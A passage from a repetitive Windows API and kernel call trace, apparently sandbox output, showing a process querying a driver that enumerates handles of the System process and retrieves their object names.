AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022f5f20, HandleInformation=0x0) returned 0x0 [0064.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.092] PsReleaseProcessExitSynchronization () returned 0x2 [0064.092] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.092] ObQueryNameString (in: Object=0xfffffa80022f5f20, ObjectNameInfo=0xfffffa8003866044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003866044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.092] ObfDereferenceObject (Object=0xfffffa80022f5f20) returned 0x2 [0064.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.092] PsAcquireProcessExitSynchronization () returned 0x0 [0064.092] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.092] ObReferenceObjectByHandle (in: Handle=0xffffffff80000738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0064.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.092] PsReleaseProcessExitSynchronization () returned 0x2 [0064.092] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.092] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.092] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0064.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.093] PsAcquireProcessExitSynchronization () returned 0x0 [0064.093] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.093] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80026e2050, HandleInformation=0x0) returned 0x0 [0064.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.093] PsReleaseProcessExitSynchronization () returned 0x2 [0064.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.093] ObQueryNameString (in: Object=0xfffffa80026e2050, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.093] ObfDereferenceObject (Object=0xfffffa80026e2050) returned 0x2 [0064.093] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.093] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.093] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.093] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.093] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.093] PsAcquireProcessExitSynchronization () returned 0x0 [0064.093] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.093] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025ec620, HandleInformation=0x0) returned 0x0 [0064.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.093] PsReleaseProcessExitSynchronization () returned 0x2 [0064.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.093] ObQueryNameString (in: Object=0xfffffa80025ec620, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.093] ObfDereferenceObject (Object=0xfffffa80025ec620) returned 0x2 [0064.093] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.093] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.093] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.093] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.093] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.093] PsAcquireProcessExitSynchronization () returned 0x0 [0064.093] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.093] ObReferenceObjectByHandle (in: Handle=0xffffffff80000744, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80026e1050, HandleInformation=0x0) returned 0x0 [0064.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.093] PsReleaseProcessExitSynchronization () returned 0x2 [0064.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.093] ObQueryNameString (in: Object=0xfffffa80026e1050, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.094] ObfDereferenceObject (Object=0xfffffa80026e1050) returned 0x2 [0064.094] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.094] PsAcquireProcessExitSynchronization () returned 0x0 [0064.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.094] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f1de60, HandleInformation=0x0) returned 0x0 [0064.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.094] PsReleaseProcessExitSynchronization () returned 0x2 [0064.094] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.094] ObQueryNameString (in: Object=0xfffffa8001f1de60, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.094] ObfDereferenceObject (Object=0xfffffa8001f1de60) returned 0x2 [0064.094] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.094] PsAcquireProcessExitSynchronization () returned 0x0 [0064.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.094] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028c2050, HandleInformation=0x0) returned 0x0 [0064.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.094] PsReleaseProcessExitSynchronization () returned 0x2 [0064.094] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.094] ObQueryNameString (in: Object=0xfffffa80028c2050, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.094] ObfDereferenceObject (Object=0xfffffa80028c2050) returned 0x2 [0064.094] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.094] PsAcquireProcessExitSynchronization () returned 0x0 [0064.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.094] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025e94b0, HandleInformation=0x0) returned 0x0 [0064.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.095] PsReleaseProcessExitSynchronization () returned 0x2 [0064.095] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.095] ObQueryNameString (in: Object=0xfffffa80025e94b0, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.095] ObfDereferenceObject (Object=0xfffffa80025e94b0) returned 0x2 [0064.095] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.095] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.095] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.095] PsAcquireProcessExitSynchronization () returned 0x0 [0064.095] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.095] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032f6e20, HandleInformation=0x0) returned 0x0 [0064.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.095] PsReleaseProcessExitSynchronization () returned 0x2 [0064.095] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.095] ObQueryNameString (in: Object=0xfffffa80032f6e20, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.095] ObfDereferenceObject (Object=0xfffffa80032f6e20) returned 0x2 [0064.095] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.095] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.095] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.095] PsAcquireProcessExitSynchronization () returned 0x0 [0064.095] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.095] ObReferenceObjectByHandle (in: Handle=0xffffffff80000758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0064.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.095] PsReleaseProcessExitSynchronization () returned 0x2 [0064.095] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.095] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.095] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0064.095] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.096] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.096] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.096] PsAcquireProcessExitSynchronization () returned 0x0 [0064.096] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.096] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800200b050, HandleInformation=0x0) returned 0x0 [0064.096] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.096] PsReleaseProcessExitSynchronization () returned 0x2 [0064.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.096] ObQueryNameString (in: Object=0xfffffa800200b050, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.096] ObfDereferenceObject (Object=0xfffffa800200b050) returned 0x2 [0064.096] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.096] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.096] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.096] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.096] PsAcquireProcessExitSynchronization () returned 0x0 [0064.096] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.096] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025eb4e0, HandleInformation=0x0) returned 0x0 [0064.096] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.096] PsReleaseProcessExitSynchronization () returned 0x2 [0064.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.096] ObQueryNameString (in: Object=0xfffffa80025eb4e0, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.096] ObfDereferenceObject (Object=0xfffffa80025eb4e0) returned 0x2 [0064.096] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.096] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.096] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.096] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.096] PsAcquireProcessExitSynchronization () returned 0x0 [0064.096] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.096] ObReferenceObjectByHandle (in: Handle=0xffffffff80000768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c3d050, HandleInformation=0x0) returned 0x0 [0064.096] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.096] PsReleaseProcessExitSynchronization () returned 0x2 [0064.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.097] ObQueryNameString (in: Object=0xfffffa8003c3d050, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.097] ObfDereferenceObject (Object=0xfffffa8003c3d050) returned 0x2 [0064.097] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.097] PsAcquireProcessExitSynchronization () returned 0x0 [0064.097] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.097] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003bb8c90, HandleInformation=0x0) returned 0x0 [0064.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.097] PsReleaseProcessExitSynchronization () returned 0x2 [0064.097] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.097] ObQueryNameString (in: Object=0xfffffa8003bb8c90, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.097] ObfDereferenceObject (Object=0xfffffa8003bb8c90) returned 0x2 [0064.097] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0064.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.097] PsAcquireProcessExitSynchronization () returned 0x0 [0064.097] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.097] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0064.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.097] PsReleaseProcessExitSynchronization () returned 0x2 [0064.097] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.097] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0064.097] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0064.097] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.097] PsAcquireProcessExitSynchronization () returned 0x0 [0064.098] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.098] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fa6b80, HandleInformation=0x0) returned 0x0 [0064.098] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.098] PsReleaseProcessExitSynchronization () returned 0x2 [0064.098] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.098] ObQueryNameString (in: Object=0xfffffa8001fa6b80, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, 